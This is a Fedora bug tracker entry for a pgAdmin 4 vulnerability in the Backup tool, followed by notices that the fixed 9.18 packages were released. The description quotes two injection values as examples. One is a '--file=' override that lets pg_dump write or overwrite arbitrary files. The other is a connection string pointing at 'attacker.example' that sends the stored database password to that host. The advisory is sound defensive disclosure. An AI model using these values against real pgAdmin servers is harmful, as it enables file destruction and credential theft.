Bug 2536449 - CVE-2026-86864 pgadmin4: argument and connection-string injection via the database field in the Backup tool [fedora-all]
Summary: CVE-2026-86864 pgadmin4: argument and connection-string injection via the dat...
Keywords:
Status: CLOSED ERRATA
Alias: None
Product: Fedora
Classification: Fedora
Component: pgadmin4
Version: rawhide
Hardware: Unspecified
OS: Unspecified
high
high
Target Milestone: ---
Assignee: Sandro Mani
QA Contact:
URL:
Whiteboard: {"flaws": ["68d71bf4-0406-4d6d-9a4d-d...
Depends On:
Blocks: CVE-2026-86864
TreeView+ depends on / blocked
 
Reported: 2026-09-17 17:56 UTC by Guilherme de Almeida Suckevicz
Modified: 2026-09-27 01:12 UTC (History)
1 user (show)

Fixed In Version: pgadmin4-9.18-1.fc45 pgadmin4-9.18-1.fc44 pgadmin4-9.18-1.fc43
Clone Of:
Environment:
Last Closed: 2026-09-27 00:29:06 UTC
Type: ---
Embargoed:


Attachments (Terms of Use)

Description Guilherme de Almeida Suckevicz 2026-09-17 17:56:54 UTC
Disclaimer: Community trackers are created by Red Hat Product Security team on a best effort basis. Package maintainers are required to ascertain if the flaw indeed affects their package, before starting the update process.

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.

The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.

The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.

This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

Comment 1 Fedora Update System 2026-09-18 19:45:12 UTC
FEDORA-2026-c070c47328 (pgadmin4-9.18-1.fc44) has been submitted as an update to Fedora 44.
https://bodhi.fedoraproject.org/updates/FEDORA-2026-c070c47328

Comment 2 Fedora Update System 2026-09-18 19:45:23 UTC
FEDORA-2026-dddd2792e3 (pgadmin4-9.18-1.fc43) has been submitted as an update to Fedora 43.
https://bodhi.fedoraproject.org/updates/FEDORA-2026-dddd2792e3

Comment 3 Fedora Update System 2026-09-18 19:45:34 UTC
FEDORA-2026-035cf95dc5 (pgadmin4-9.18-1.fc45) has been submitted as an update to Fedora 45.
https://bodhi.fedoraproject.org/updates/FEDORA-2026-035cf95dc5

Comment 4 Fedora Update System 2026-09-19 01:40:26 UTC
FEDORA-2026-035cf95dc5 has been pushed to the Fedora 45 testing repository.
Soon you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --refresh --advisory=FEDORA-2026-035cf95dc5`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2026-035cf95dc5

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 5 Fedora Update System 2026-09-19 02:19:18 UTC
FEDORA-2026-c070c47328 has been pushed to the Fedora 44 testing repository.
Soon you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --refresh --advisory=FEDORA-2026-c070c47328`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2026-c070c47328

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 6 Fedora Update System 2026-09-19 02:23:05 UTC
FEDORA-2026-dddd2792e3 has been pushed to the Fedora 43 testing repository.
Soon you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --refresh --advisory=FEDORA-2026-dddd2792e3`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2026-dddd2792e3

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 7 Fedora Update System 2026-09-27 00:29:06 UTC
FEDORA-2026-035cf95dc5 (pgadmin4-9.18-1.fc45) has been pushed to the Fedora 45 stable repository.
If problem still persists, please make note of it in this bug report.

Comment 8 Fedora Update System 2026-09-27 00:57:22 UTC
FEDORA-2026-c070c47328 (pgadmin4-9.18-1.fc44) has been pushed to the Fedora 44 stable repository.
If problem still persists, please make note of it in this bug report.

Comment 9 Fedora Update System 2026-09-27 01:12:14 UTC
FEDORA-2026-dddd2792e3 (pgadmin4-9.18-1.fc43) has been pushed to the Fedora 43 stable repository.
If problem still persists, please make note of it in this bug report.


Note You need to log in before you can comment on or make changes to this bug.